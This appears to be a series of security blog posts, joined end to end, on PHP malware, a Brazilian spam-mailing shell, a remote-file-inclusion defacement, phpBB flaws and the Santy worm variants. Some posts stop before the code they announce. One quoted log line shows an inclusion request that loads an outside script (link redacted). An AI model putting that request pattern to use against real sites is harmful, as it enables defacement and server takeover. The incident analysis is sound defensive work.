A few days ago, I blogged about a PHP/JS malware targeting the osCommerce platform, which used an interesting new technique to obfuscate the malicious code. It so happens, that today I came across even more advanced sample of a PHP infector, also in the context of a vulnerable e-commerce solution.

When I came to work today, my colleague from our Polish office asked me to help him with finding malware which was affecting his friend's online store. The HTML page, viewed with the browser, contained a link to a jquery.js script in some randomly generated cx.cc domain, although there was no sign of this link in the source files on the server. Reaching a verdict was simple - this piece of code was being added dynamically, by some infected PHP script.

We looked into all of PHP files stored on the server and got a bit confused - there was nothing really suspicious at first glance. But having in mind the div_colors malware, I started to study the code line by line. What at last attracted my attention was a small function at the beginning of one of the core PHP files.

    Cyber-criminals in Brazil and the wider Latin America region almost always use social engineering tricks to launch attacks.  Sometimes, they send fake bank e-mails or e-mails from popular Internet services. The e-mail databases of the potential victims are being compiled based on the stolen e-mail addresses from the infected machines and particularly from the addresses stored in e-mail clients.

Once the e-mail addresses are compiled, the fraudsters use several external tools like PHP shells on hacked Web servers.

During my daily analysis, I found an interesting shell for mass mailing. The code shows it was developed locally in Brazil:

By editing the original PHP code, the criminal can fake the “original headers” of the messages they send.  Very interesting.
 

Now let’s check the original IP address of the mentioned domain:

As you see in this case, the criminals are sending fake e-mails using the identity of IG (www.ig.com.br) a very popular Internet resource in Brazil. They fake the mailer, the original IP address and even the Spam scoring. So, there is a big probability this e-mail will be delivered usefully to the victim, bypassing anti-spam filters.  Even the most experienced IT people can be tricked into believing that the message came from IG.

During analysis of the code, I discovered another interesting bit of information related to the shell. The server was hacked by a famous defacer from Brazil (name withheld during this investigation) who is quiet active and notorious around the world.   On September 7th alone,  he/she defaced 42 different domains.

In the past, we’ve seen Web defacers act with only with political motivation. That has now changed. The Web defacers are being used by the online money gangs as a part of outsourced services.

Yesterday, a website where one of my friends is a webmaster was hacked. Actually, to be more precise, the site was "defaced", meaning the hacker replaced the standard entry page with one of his choice. Such replacement pages usually proclaim the hacker's intelligence and technical "skillz". This is an extremely popular technique and some hackers even warn the site owners before doing it, giving them a fair chance to close the bug.

Generally speaking, when a site is hacked the first step is locate the exact method which was used by the attacker and immediately close any loopholes. Of course, preserving logs and how the hacked site looks is also essential, if legal action needs to be taken later. Finally, it is important to determine if the hacker installed a backdoor, which allows later access to the system even if the security hole was closed, and kill it.

My friends' site was hosted by a serious ISP and the machine itself was running the latest versions of Linux, Apache, PHP, MySQL, SSH, Perl and every other popular piece of software which comes by default in a standard hosting account.
Therefore, it was obvious from the start that the chance of having been attacked through a flaw in the hosting system was close to zero.

After poking through the logs for a little while, we located the first index reload after the hack and noticed that it was coming through a free anonymous proxy-based browsing service. Being a site about photography and art in general, it seemed to me that it was unlikely for somebody to browse it through an anonymizer service. I did a quick search for all the entries coming from the respective anonymous proxy IP address, and sure enough, the following did seem interesting:

82.96.x.x - - [07/May/2005:00:53:36 -0700] "GET /x_open.php?art=http://geocities.com/...[true link removed]

"x_open.php" from above is a general purpose script which integrates new articles in the site layout. Basically, it takes an article and draws a menu, a toolbar and other page components around it. The bug? Well, the PHP directive "include" doesn't care if the parameter is a local file or a remote one. It will happily download something remote, and execute it on the local machine within the context of the initial script. The same is true for many other PHP functions, which are powerful enough to handle a local or a remote file in the same manner. When the PHP code for my friends' website was written, the programmer probably forgot about this "feature"; the code created was seriously flawed, leaving the server vulnerable. It took only a few months before a hacker noted the peculiar URL structure (.php script receiving another .php script as parameter) and misused it to deface the website.

We've repaired the code to prevent opening of arbitrary files from the web or even the local machine, fixed the same bug in a dozen other scripts, sent a complaint to Geocities for hosting the trojan PHP script which was injected in the server and contacted the owners of anonymous proxy forwarder to obtain the original IP address used by the hacker. With a little bit of luck, we'll be able to locate the attacker and thank him accordingly.

As for the morale of this story? Well, PHP is a very powerful programming language and it can be used to design really wonderful things - the software equivalent of a very sharp cutting tool. Yet, if not used properly, it can be just as dangerous.

With that in mind, PHPBB has just released version 2.0.15 which fixes (between other things) one serious bug. If you run PHPBB, update as soon as possible: Download PHPBB 2.0.15

phpBB.com have announced that their phpBB software contains a critical vulnerability.
This news comes just days after the release of 2.0.12, which was released to adress certain other vulnerabilities.

Exploitation of this vulnerability gives administrative rights, meaning arbitrary code can be executed.

This could mean that we see a Santy-like scenario all over again, with a lot of servers being affected.
Although I believe we would see only a few defaced websites in this case, instead I'm expecting a lot of zombies.

phpBB.com have released version 2.0.13 which is no longer vulnerable for this vulnerability.

You are severely urged to update to the latest version as soon as possible.

We've decided to rename Santy.d and Santy.e to Spyki.a and b. We are doing this because:

A deeper analysis of the new worm that we detected at the weekend, which seemed to be a new version of Santy, shows that it's different to Santy. The most important difference is that it doesn't exploit vulnerable versions of phpBB to spread. It attacks any vulnerability which contains the 'Remote file inclusion' vulnerability. So the problem is that this vulnerability isn't connected with which version of PHP is installed on the server - it happens because of errors in programming PHP pages.

Once the worm penetrates the server, it uploads Backdoor.Perl.Shellbot.a - also written in Perl. This backdoor connects with certain IRC channels to receive and execute commands from its author/ user.

The new worm uses the Brazilian Google server for search requests, and includes the copyright of the Brazil hacker group 'Atrix Team' - it seems that this group probably wrote the new worm.

We recommend everyone using PHP for web page programming to check their servers for errors. A description of the errors is here

A more detailed analysis of Santy.e is showing very worrying info.
The initial analysis suggested that with an updated version of php, one was not vulnerable for this attack, but it seems that Santy.e tries to exploit bad coding.

Santy.e tries to exploit php scripts with what is called "PHP Scripts Automated Arbitrary File Inclusion".
This can only be prevented with decent, secure coding.
This means that every site is potentially in danger.

There are already a fair lot of reports of websites that get 'attacked' by infected hosts.

Expect sites to get compromised or become (very) slow, as unshielded attacks will result in a (great) increase of server load, as the server has to process the incoming data.
Sites/servers will need to come up with a way to block the attacks.

We will see how this develops.

We have detected a new Santy variant which also targets vulnerabilties in older versions of php.
This new variant is more advanced/dangerous in a number of ways:

-Uses yahoo next to google to search for vulnerable sites.
-Targets next to 'phpBB pre 2.0.11' sites, also sites that use an older version of php.
-New Santy variants try to install a Bot, giving the masters control.
-Most sites have got huge bandwidth, this would make a spam run or DDoS extremely effective - although this is a side effect.

We detect the latest Santy variant as Net-Worm.Perl.Santy.e, the installed bot as Backdoor.Perl.Shellbot.b.
There are also some other new Perl Backdoors.

We would like to urge everybody to make sure their php is up to date. (Next to phpBB of course).
If you aren't the hoster of your site, contact the hoster even though it's christmas, malware doesn't wait till next week.

We have received information that the Santy sourcecode has been published on certain sites and security related mailinglists.

This opens the door for new variants to arise. However, I doubt that new variants will be very effective, unless search engines just keep on spitting out new, unpatched sites.

But seeing that a lot of sites are already infected, patched or a combination of both, I think the situation will not get as bad as we have seen now with Santy.a.

Google has announced that it will block search requests from Santy in order to prevent the worm from spreading further. I don't think that this is enough to solve the problem. The authour can always release new versions that use other search engines - MSN or Yahoo, for instance.

What is worse, we have discovered a new verision of Santy. It seems very likely that some 'script kiddies' have gotten hold of the source code. If this is true, they will create new versions with new features, just like Lovesan. The authour of Lovesan is still free, but several co-authours have been arrested, even though they only changed some text strings in the worm's file.

It is hard to count the exact number of site infected by Santy over the past 24 hours. Search engines only find the texts created by the worm that are still online. Many other sites have been disinfected or closed down. My first rough estimate would put the number at several hundred web sites worldwide. However, due to the above, the actual number may be well in the thousands.

PS So far the maximum number of Santy.a generations we have seen remains at 24:

New variant of Santy was found some hours ago. We detect it as Net-Worm.Perl.Santy.b.